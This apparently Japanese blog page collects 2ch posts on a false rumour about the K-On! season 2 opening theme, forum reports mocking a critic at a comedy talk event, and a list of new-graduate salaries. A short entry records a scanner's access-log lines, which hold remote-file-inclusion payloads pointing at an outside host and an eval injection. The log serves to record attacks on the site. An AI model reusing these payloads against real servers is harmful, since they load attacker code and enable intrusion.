どこぞのアーティストにOP歌わせるとかないだろ

現状CDが声優アニメ物より売れてないとはいえ

291 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:01:26 ID:SqLAGgNI

≫260

そうなんだよなー。

仮にアジカンが歌ったとしてもノンタイで初週2万、タイアップ有りでも4万

くらいだったから、商業的な面から見ても全くおいしくない。

普通にHTTに歌わせたほうがいい。まぁ、勘違い説が濃厚だけど。

262 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:57:49 ID:3BOMHDVi

アジカンは釣り

春にはソラニンでシングル出すしその次のシングルは≫232

けいおんが入る余地なし

275 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:59:51 ID:ygi6wueH

≫262

その通り

アジカンもそんなにヒマじゃない

OPとか変えるわけないし

Tom-h@ckも忙しいって言ってたし

265 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:58:36 ID:H9gog4u8

やったあああああああ

アジカンじゃなかったああああ！！！

これで二期も愛せるぜえええええwwww

266 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:58:43 ID:Vh/9k3Ai

というわけで唯OPさようなら～

269 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:59:02 ID:mp2aZ1LV

普通に考えてアジカンなわけないだろ

273 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:59:25 ID:qzw+Ge/D

流石にアジカンで動揺した馬鹿はいないよな？

286 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:00:26 ID:naCOfctm

≫273

そこまでの低脳はいないと思いたい

293 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:01:39 ID:KD8JH/PU

公共の電波で釣るとか壮大すぎるぜｗ

別にいいけどw

298 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:02:19 ID:MzzVRoAZ

ラジオ実況板でけいおんの文字を見たときはさすがに動揺したぞｗ

公共の電波に乗ってるんだから…まったくもう…

306 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:03:37 ID:2rrBu0Ha

2期のOPは『Cagayake!Girls 2010』とかだったりして。

316 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:06:18 ID:s5OFpK4/

その他愉快なアーティスト達のCDは全力でスルー

318 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:07:30 ID:IWH1gZBr

またけいおん勢がMステやCDTVをレイプするのか

胸が熱くなるな

325 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:10:17 ID:PQ5vTc9A

OPはHTTでEDはまた以外な事をやりそうだな

328 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:11:11 ID:RdMzfS3M

≫325

戸松遥「けいおん！！ＥＤを担当する事になりました、私達せ～の！」

４人「スフィアです！！」

332 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:11:58 ID:yidKZwHu

≫328

消音にするわ

340 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:14:56 ID:2rrBu0Ha

≫328

一転してアンチになりそうな俺

329 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:11:32 ID:uyawMSPU

アンダーワールドとかの新譜とかがけいおんの新OPになるとかならばともかく

アジカンだかなんだかのその他愉快なアーティスト達のCDなんて死んでも買うかよｗ

あっ、もちろんけいおん声優陣のCDなら買いますよ

紬OPを期待

331 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:11:50 ID:cAN5H9jE

歌はそのままでいいからアニメーション新しくするだけでいいや

333 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:12:51 ID:okQwcpeV

まぁ、実際のところOPが唯ならEDは誰でもいいや。

334 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:12:53 ID:UoYOJLbS

つか、HTTが他のアニメの歌ってくれ

今後TBSのアニメはすべてOPかEDをHTTが歌うってことにしてください

339 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:14:54 ID:Mm2Y2jXi

≫334

それはちょっと無茶だろ、権利的に色々とw

話題にはなるだろうけど

344 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:15:31 ID:ardYMKTa

≫339

でもTBSアニメはポニキャニ絡んでるの多いよ

343 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:15:26 ID:kUMjRrKy

一応HTTってことになるなら、また唯澪がそれぞれOPED歌うんじゃないのかね

353 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:18:11 ID:5ZCdjFEy

流れがやたら速いから何かと思ったらお前ら釣られ過ぎだろｗｗｗ

鯵缶とか一応アニメ主題歌歌ってなくはないけど、ナルト･鰤･ハガレン･鉄コンとかで、本来一般向けなアニメでしかやってねぇよ

364 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:23:05 ID:EU1ANDQ3

なんで別のアーティスト使わなきゃならんのだｗ

普通にHTT使った方が金になるのにｗ

ID崔絵ええっク

368 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:24:53 ID:GN82ieIw

あーあまたヤラレヤクにネタ提供しやがって

------------------------------------------------------------------

◆アジカン本スレ (120)

962 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 22:44:53 ID:6fMsYbiJ0

school of lockでいってたんだけど、けいおんのＯＰがアジカンになるとかマジ？

963 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 22:47:44 ID:qLvtz3zl0

もうアニメはいいｗ

タイアップは嬉しいが

965 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 22:53:32 ID:84R+C95D0

けいおんマジだよ。

966 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 22:57:03 ID:vIPCrkZr0

なんかもう色々ワロタ

967 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:01:16 ID:rMAzvRJEO

けいおんのソースは？

968 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:03:16 ID:qLvtz3zl0

usodaro

969 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:09:02 ID:FlAqeMI20

どうやらガチっぽい？けいおんスレより↓

　　　193 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:04:49 ID:MIstnL9G

　　　2期の主題歌は、ASIAN KUNG-FU GENERATIONが担当するらしい

　　　ソースは、現在放送中のTOKYO FM "SCHOOL OF LOCK!"パーソナリティの発言

　　　アジカンは以前この番組に出演していたので、信憑性はそこそこ高いと思う

970 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:13:13 ID:FpZRW2T70

≫969

とはいっても、たださらっと発言しただけだったよ。

しかも「主題歌はアジカンだといううわさ！らしいぞっ！！」

っていう曖昧な言い方であったわけだし。

971 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:16:40 ID:FlAqeMI20

≫970

そうなんだ。

まあ、普通に考えてけいおんのopがアジカンとかありえないだろうなｗ

972 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:17:39 ID:7Qp9ym3TO

けいおんのOPをすることで初期のようなポップサウンドを鳴らしてくれるんならそれでもいい

974 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:24:51 ID:qpk1rthw0

≫971

だね。声優が歌ってなんぼのアニメだし。

975 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:27:25 ID:rw5fx2AtO

あるわけないだろｗ

どんだけ微妙な釣りだよｗ

979 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:49:52 ID:YzyRJTMwO

≫975

だよなｗ

980 ：名無しさん＠お腹いっぱい。：2010/02/18(木) 23:53:00 ID:nGBpU+bx0

パーソナリティが言ったとしたら多分四畳半と間違えたのだと

アニメなんて何でも一緒だと思ってる節があるに違いない

984 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:18:29 ID:d9VtFwJu0

≫980

ちゃんと裏を取って発言してほしいよなー。

公共の電波なんだし。

タイアップの件が本当だったら間違いなくスレが荒れるだろうな・・。

ネットでヲタを敵に回すのは怖い。

985 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 00:23:51 ID:8i6nno8o0

有り得ない

アニメ作成会社も声優曲がどんだけ売れるか身にしみて分かってる

けいおんはただでさえ売れたしな

わざわざ非難覚悟してまでアジカン用いねえよ

だいたいソラニンと四畳半の間ってどんなリリースラッシュだよ

987 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 02:07:33 ID:HjfTVUp50

けいおんってそもそも何？？アニメの一種？？

今回キューンもこれが最後これで売れなかったらアジカンはもうダメぐらいの覚悟で売りに来てるとおもう。

けいおんと四畳半のダブルタイアップで先行シングルにすることはあり得るんでわ。

それかどっちかシングルで切って他方をアルバムリードにするとか。

6月先行シングル、7月アルバムぐらいのタイミングと予想。

988 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 02:36:24 ID:OJP21Dw0O

↑セールス厨の文体ってなんか気持ち悪い

989 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 03:20:44 ID:EKMcIOmcO

OPもEDも声優が歌ってるアニメにいきなりアジカン起用するとか意味がわからない

ラジオのはただのネタ発言でしょ

995 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 11:16:33 ID:yPXcUIJuO

けいおんってアニメについて全く知らん奴なら信じてしまっても仕方ないかもしらんが

少しでも知ってるなら100％有り得ないってことがわかるだろう！

ラジオでそういうアジカンに関する発言があったということ自体がまずガセ！

996 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 11:22:43 ID:/lAT1ND10

SOL独特のジョークだよね

あのノリは好きじゃないが

1000 ：名無しさん＠お腹いっぱい。：2010/02/19(金) 11:36:14 ID:6EXLYogcO

1000ならソラニンまさかのミリオン

-------------------------------------------------------------------

鯵ファンです

ひっそりと終わることを願ってたけど、案の定やられやくが取り上げちゃって大騒ぎになりそうなので火消しまとめ。

Twitterのほうも昨日は監視してたのですが、別に殆ど話題になっていなかったのでまとめる必要なしと判断。

まあもうけいおん！本スレでもアジカン本スレでもガセとして完全にスルーされてたんですけどね。

(やられやく: http://yunakiti.blog79.fc2.com/blog-entry-4727.html)

レス読んだら分かると思いますが十中八九あり得ません。

アジカンは3/31にシングル「ソラニン」をリリースしますし、現時点で4月より始まるアニメ「四畳半神話大系」のOPに決まっています。

同時に春より始まる「けいおん！！」のタイというのは非常に考えにくいです。

ボーカル後藤のTwitterでもそんな話は一瞬たりとも出てきていませんし、

アジカンの全イラストを担当している中村佑介氏のブログでも近況にそのジャケ画製作情報はありません。

「けいおん！」製作側から見ても不利益になることは明らかです。音楽アニメですもん。

ということで双方共に安心して構わないと思います。

けいおん公式の更新かラジオ局側への問い合わせの応答ではっきりすると思いますが。

つか、やられやくのまとめ適当＆恣意的すぎんだろ･････最早煽り。

お願いだからこれを機にアジカン叩きが激化するのだけは勘弁願います。

ソラニンがたくさん売れますよーに

http://solanin-movie.jp/

http://noitamina.tv/yojouhan/

追記: 2/22

けいおん！公式HP来ました。

http://www.tbs.co.jp/anime/k-on/news/news.html

お疲れさまでした。ふぅ。

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■株式会社プロアームからのスキャン活動（Morfeus Fucking Scanner）

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202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

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202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

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202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

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■

256 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/02(木) 20:43:52 ID:uv4oTNxaO

前半終了。一時間、リアルに笑いが一つもねぇｗｗ

ひどい素人トークだな…

257 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/02(木) 20:51:15 ID:ZB8mvX6m0

乙！

258 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/02(木) 21:19:57 ID:39FC8JDG0

引き続き報告ヨロ

259 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/02(木) 22:01:58 ID:Od8U91LL0

kwskしたい！

内容も聞かせて欲しい

260 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/02(木) 22:50:12 ID:uv4oTNxaO

終わった。一応客席は満員。

前半はラリーとトロで笑いがまったく無い、くそつまらない一時間。

司会から「何言ってんだかよくわからないです」みたいなことを2、3回言われてた。

後半は大谷が来てようやく盛り上がった。トロちゃんは張り切って大谷に絡みに行くが、

大谷の相づちがそっけなさすぎて笑った。大谷にしてみりゃ「おまえ誰だよ」って感じだったんだろうなw

おまえらのために後でトロちゃんネタだけ投下してやるよ！

261 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/02(木) 23:03:56 ID:zfzrxsBz0

thx!

トロ様はやっぱりリアルでもトロ様だったのだろうか？気になるぜ

262 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/02(木) 23:14:07 ID:vFfpPIF/O

大谷さん、あれだけ話遮られて、よくキレなかったなと思う。業務用菩薩は、前半終了まぎわには、頭はてなマークだらけにしてたぞ。

263 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/02(木) 23:36:16 ID:39FC8JDG0

wktk

264 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/02(木) 23:54:44 ID:ke2Yxm1H0

トロ様だけでなくラリーもひどかったのかが気になる。

業務用菩薩って人は確かオードリー周りの人だよね？

265 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 00:27:34 ID:3GG104SU0

先生って確かポッドキャストもやったことないよね。

それで、いきなり金取るトークライブに「特等席」とは言え参加するなんて、

無茶なんだよなあ。あの性格だから、「特等席」に徹しないだろうしさ。

先生的には、「昨日の風」をトークライブ的にやってきて、

これだけ人気を博してきた俺なんだから、みたいな自信があるんだろうけど。

266 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 00:53:35 ID:vDVywY6H0

結局、ラリー遠田とトロのいちゃいちゃ見せられてたのが前半だな。菩薩の怒りゲージが溜まっていくのが見所。

菩薩って3600とか山里ラジオや伊集院ラジオの葉書職人だったわけで、そいつの前で「オードリーではなくてNON STYLEを推す俺たち素敵」で押し切ったのが前半。そらああいう空気になるわな。

267 ：260：2009/07/03(金) 00:56:38 ID:7wNIkN+00

ラリーは後半ほとんど喋ってない。

なんであれでトークライブやろうと思ったんだろう？

誰かに担ぎあげられただけなのかな？

後半は大谷5割、トロ3割、ラリー2割くらいの喋り量。

トロは事あるごとに自分の知ってるエピソードを

挟み込むんだけど、それまで大谷が話してた話と

繋がりそうで繋がらないエピソードばっかりｗ

「…で何なの？」という空気が会場全体を包んでいたよ。

オタキングのトークライブで空気読まずに悪目立ちしてたっていう

エピソード、あれホントだったんだなって思った。

リアルに空気読めないのな。

268 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 01:07:19 ID:72qa5KQD0

報告乙！

269 ：260：2009/07/03(金) 01:19:28 ID:7wNIkN+00

全体のトークの流れはどこか違うとこで読んでくれ。

お前らのためにトロ様がやらかしてたところだけ押さえてきたからｗ

●自己紹介

ファンという立場から、いつの間にか裏方の方も…

みたいな濁し方で、あくまでファン目線ｗ

デリートの名前は出さず。ブログの名前も出さなかったけど、

菩薩に突っ込まれてようやく言っていた。しかし特に客の反応無しｗ

●PLANETS

「NON STYLEを巻頭に推した俺達凄い」というスタンスで延々と語る。

トロ「QUICK JAPANとかは、お笑い通が好きであろうラーメンズ、笑い飯なんかを…」

ラリー「ラーメンズは例えが古いんで…」ｗ

トロ「僕らはバナナマンもオードリーも否定してませんよ！」

菩薩「自己弁護から入るの止めてもらえますか」ｗｗｗ

●（流れ忘れたけど）

トロ「一般論の方がマイナーになってる」

菩薩「なんか言い方がアレですけど…」

270 ：260：2009/07/03(金) 01:23:52 ID:7wNIkN+00

●ラリーの「この芸人を見ろ！」（だっけ？）について

ラリーいわく、あの連載は

「あそこから議論が始まるような、基点になるような」ものを

意図して書いているとか。

トロ「わざと石投げられようとしてる感じありますよね。

　　誰とは言いませんけど、松本人志（の回）とか」

ラリー「（あの回）割と評判良かったですけどね」ｗｗｗｗ

この「誰とは言いませんけど、●●とか」って、ウケを狙ったんだろうけど、全くウケてなかったｗｗｗ

●トークテーマ「松本人志とは何だったのか？」にて

等身大の松本を見ろ！と熱く語るラリーとトロ。

トロ「（松本は）織田信長でも豊臣秀吉でもないんですよ！」

　　（大声で）「マイケル・ジャクソンじゃないやん！」

菩薩「…最後の、ピンとこなかったんですけど」ｗｗｗｗ

この流れで

トロ「もうすぐ松本もTVで“この間おつむっ、おつむっ、、、おむつ換えてめっちゃクサかったわ”とか言うんですよ！」

用意してきたネタも噛み倒して全くウケずｗｗｗｗ

ここまで前半。何回も書くけど、全然笑い声が起きない。かといって感嘆の声があがる訳でもない。

ラリーはトロほど痛くはないけど、気の利いたことも言わず。菩薩が次第にイライラしていくのがよくわかってワロタ。

椅子やテーブルを動かす音や厨房の音があんなに目立つトークライブは初めてだよ。

271 ：260：2009/07/03(金) 01:28:36 ID:7wNIkN+00

以下、後半。

●大谷のトロへの相槌

・あーそうなんだー、へー

・なるほど

殆ど生返事だった。

●松本人志の話

大谷「松本さんってビートルズとかブルーハーツみたいなもんでしょ」

さっきまでの論説の真逆を言われて黙りこむトロｗｗｗ

●キングコング西野の話（だっけ？）

トロ「（西野は）追随者でも、アンチでもなくて…」

大谷「アンチだよ！アンチなんですよ！」

トロ「（小声で）あーそうか、アンチか…」ｗｗｗｗｗ

272 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 01:31:27 ID:vDVywY6H0

でも大谷とのやりとりはもっとギスギスするかと思って期待してしまった。大谷は大人だね。

273 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 01:37:03 ID:DrerfiAE0

スネークの皆さん（とりわけ>>260氏）、禿しく乙です

飲み食いがなきゃその場にいれたもんじゃなかった事でしょう

大谷にトロちゃまの「さんまさんほどの偉人が音楽界にいるのかよｗｗ」の無防備発言を聞かせてやりたいｗ

274 ：260：2009/07/03(金) 01:40:39 ID:7wNIkN+00

●S-1

おもしろ映像を撮ってきて見せるという手法は『?マジっすか!』という番組で既にあって…と主張。その流れで

トロ「だからS-1の決勝は小枝師匠が司会すればいいんですよｗ」

大谷「？ああ、小枝さんがやってたんだ…」

うまいこと言ったみたいな顔してたのに全く伝わらずｗｗｗｗｗ

先に小枝の話しとけよｗ

大谷の「他事務所も出れるの？」という疑問から

トロ「松竹の芸人さんに聞かれたんですけど、“いや、俺に聞くなって～”って言いましたよ」

だから何ｗｗｗ

ちょいちょい挟み込む「俺様、業界に片足突っ込んでます」エピソードがウザいウザい。去年のM-1敗者復活戦のステージ裏で見た話とかを自慢げに語ってたｗ

●関ジャニ

（何きっかけか忘れたけど）

トロ「関ジャニはC-1があったら必ず出るって言ってたのに去年出なかったんですよ！裏切られたって思いましたよ！！」

大声で熱弁するも客席無反応ｗｗｗ

大谷「アイドルってのは嘘を売る商売ですからね」ｗ

275 ：260：2009/07/03(金) 01:51:54 ID:7wNIkN+00

●M-1

（M-1の話になってからが無駄に長かった。特に着地点も無くダラダラ喋ってた感じ）

トロ「M-1は終わった後が忙しいんですよ！（ネット上で）見るものが一杯あるし！」

ここ俺的にピークｗｗｗｗｗ

このスレ住人全員に聞かせてやりたいと思った。興奮気味に語ってるのがリアルにキモかった。

トロ「吉村智樹さんが（敗者復活戦があれば）ロックフェスはいらないって言ってましたよ」

これ、そんな風に言ってたっけ？

「敗者復活戦はお笑い版のロックフェスだ」って言ったんじゃなかったっけ？

どっちにしろ、ロックフェスでDJやってる大谷の前で、よくそんなこと言えるなと思ったｗ

●NON STYLEが今年決勝に進んだことについて

トロ「このタイミングで行くか！っていう」

大谷「いや、このタイミングしか無いでしょ（即答）」

トロ「そうですよね」

大谷「…君、どっちなの？」ｗｗｗｗｗｗｗ

場内も爆笑。大谷も「おもしれえな」って言ってたけど、皮肉だよなあ。

276 ：260：2009/07/03(金) 01:57:31 ID:7wNIkN+00

●すべらない話について

大谷は「すべらない話」を大絶賛。

大谷「さんまさんは嫌いらしいけどね」

トロ、自分の主張と真逆のことを言われて黙りこむｗｗｗｗ

すべらない話の構成など、そのパッケージ能力の高さを評価する大谷。

トロ「あと、何が凄いって松っちゃん（※この辺からエキサイトしてきたのか、松本さんと松っちゃんがごっちゃになる）の声と、喋り方が面白いんですよ。身体能力の高さというか」

（その後ぐだぐだ喋るも）

大谷「いや、それもパッケージでしょ」

一刀両断ｗｗｗｗｗｗ

●今年のM-1予想

大谷が「こういうの楽しいよね！じゃあ一組ずつ挙げていこうか」って言ってるのに

トロ「じゃあ僕から行きますね。ノンスタイル、オードリー、ナイツ、…」

話聞いてねえｗｗｗｗｗｗｗ

お前の予想誰も知りたがってねえよｗｗｗ

277 ：260：2009/07/03(金) 02:02:36 ID:7wNIkN+00

こんなところか。

あと一個気になってるのが、トロが「2004年の準決勝を（両方）見たんですけど

僕は10$とダイノジは絶対行ったと思ったんですよ！一番ウケてたし」とか

言ってたけど、トロちゃん行ってないよな？？

今、はてなのログ確認したけど。

ttp://d.hatena.ne.jp/toronei/20041129

「準決勝会場で見たお客さんには一番受けていたようだし」って伝聞が、

時を経て自分で見に行ったという記憶にすり替わってるのか…凄すぎるなｗ

278 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 02:21:38 ID:5fyw2KUq0

乙でした。本当に乙でした。

しかしトロ様一刀両断されすぎｗｗｗ

279 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 02:48:52 ID:rbWZ47bB0

レポ乙です。

トロさんが一刀両断されてる時はおわライターさんは

どんな反応してるんですか？

280 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 03:12:38 ID:dLXn000s0

先生の絵に描いたようなトロネイっぷりに感動

>トロ「あと、何が凄いって松っちゃんの声と、喋り方が面白いんですよ。身体能力の高さというか」

↑この発言だけ、意外感があった

しかし、松っちゃんの声と、喋り方ってそんな特別面白い？

281 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 03:23:32 ID:7EHH7VXj0

さすが大谷、トロ様の一を聞いて十を知ったんだろうな

282 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 10:22:16 ID:WD/rQsc+0

大谷さんのブログの「お笑いトークラリー」の記事に一切名前出ず。トロ様残念ｗ

283 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 10:34:29 ID:pAJwZ7yS0

大谷やさしいな

あくまで表向きだが、嫌味の一言すらないんだから

284 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 11:02:39 ID:kelBc4mR0

トロさんのことだから、大谷のブログ読んで自分も含めたお笑いを批評する人間に対するエールだと都合よく解釈しそうｗ

そういえば、サンキュータツオ氏の笑いのアカデミーも最近あったんだよね。

行ってきた人達のブログによれば盛況で、概ね大好評だったみたいだけど。

「俺のほうが手数論については一家言ある」とかサンキュータツオに噛み付いてたトロさんごときが

張り合える相手じゃないってことだよね、やっぱり。

トロさんが「こっちはあくまで素人だから」という言い訳するのは目に見えてるけど、

目の仇にしているもう一人・吉田豪もトークのプロじゃないのにベシャリはソコソコたつわけで。

そもそも、場の空気読めないのとしゃべりの巧い下手はまた別問題だし。

285 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 11:40:00 ID:hbF6bq4gO

レポ乙。自分も行ってきた。

なんつーか別の意味で期待してたトロ様が、あまりに期待どおりすぎて

後半頼むから帰ってくれって思った

あとラリーに関して自分の見方は少し違って

トロ様の代弁が全然的外れで、否定するわけにもいかないから

黙りこくっていたんじゃないかと。

大谷が何か言うと食い気味に割り込むトロ様・・・

286 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 22:00:31 ID:ex/+rKPg0

容姿はどんな感じの人なの？

リアルスネ夫という話が前に合ったけど。

287 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 22:31:23 ID:Zu1/NMoqP

リアルスネ夫ｗ

容姿以上に良くも悪くも空気の読めないオタク的な雰囲気が強烈に残った

288 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 23:28:59 ID:VX5aaQEL0

行ってきた人、乙！

詳細レポは先生の過去ログとの検証もあって保存版だね

芸人板のおわライタースレでも「トロネイのウザさ半端ねぇ」とか言われてて笑ったｗ

大阪ではどう軌道修正してくるのやら

ゲストが歯に衣着せなそうなかわら長介氏だから、舌禍避けて表に出ず裏方に徹するのかもね

出演者も「ラリー他」になってるし

289 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 23:29:26 ID:OKmYIjBA0

客は一応、おわライターの話を聞きたがっているんでしょ？

なのにトロネイトークライブという最悪の時間になっちゃったんだな。

次回は満席は厳しいだろうな。

290 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/03(金) 23:53:08 ID:ZtIa31B10

「考え方はかなり特殊だ」と書かれる織田聡史さん

全体的におだやかなトーンだけど、何気に結構な言われようだと思った

291 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/04(土) 00:35:58 ID:PlXQFs1v0

＞なんか出演者に不穏な名前もありますが、

＞ラリーさんと大谷さんの生のやり取りを特等席で僕も観覧してきます。

観覧？？？不穏な名前って自分のこと？？？

292 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/04(土) 11:12:04 ID:3w7lnByc0

260さんのレポ文体が某ヨ○○○メの管理人さんっぽいと思った

顔見たこともないのに状況が目に浮かぶようなナイスレポでした！

293 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/04(土) 12:04:47 ID:pTyO2N0Y0

ライブ自体はあれだったのかもしれないけど、

レポ読むと面白いなｗ

312 ：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！：2009/07/06(月) 12:50:56 ID:61OLSfld0

このスレ見つけたから遅れたけど俺もレポ

正直トロ様のことは全く知らず、ラリーに興味があったので行った。

もう一人のうぜえメガネ何者？と思って調べてここにたどりついたよ

話の内容自体は、おもしろかったよ。いや、トロもね。

擁護みたいになるから癪だけど、お笑い素人の俺からすると斬新な話もあった。

ただもう口数と態度がうざいうざい。

ラリーも芸人みたいに喋れる人ではないけど、少なくとも空気は読める人だった。

だから二部で、大谷にうざくからんでいくトロという構図ができたときに

割っていけなくなっちゃったんだと思う。

自分のライブなのにトロにつぶされてかわいそうだ。トロは完全にこの手のイベントから干されるね。

だいたいトロは大谷を見下してたからな。大谷だって一応M-1ファイナリストじゃねえか。

それだけの実績の人がしゃべってるのに、その途中でバサバサ資料を見はじめたり、

肘をついてけだるそうに聞いてたり、すげーむかついたわ。

Permalink | トラックバック(0) | 12:57

■新卒は勝ち組

グリー株式会社

学部卒：4,000,000円（月額285,715円)

院卒：4,250,000円（月額303,572円)

短卒・専卒：3,000,000円（月額：214,286円）

http://job.rikunabi.com/2011/company/employ/r669210063/

株式会社ミクシィ

月給28万円（大卒、短大卒、専門卒）

月給29万円（大学院卒）

http://job.rikunabi.com/2011/company/employ/r428210055/

株式会社ディー・エヌ・エー（DeNA）

学部卒：400万円（月額33万3,334円)

修士了：420万円（月額35万円)

http://job.rikunabi.com/2011/company/employ/r776010013/

楽天株式会社

4年制大卒／　月次給与：300,000円

大学院卒／　月次給与：310,000円

http://www.rakuten.co.jp/recruit/shinsotsu/appli-guide.html

ヤフー株式会社

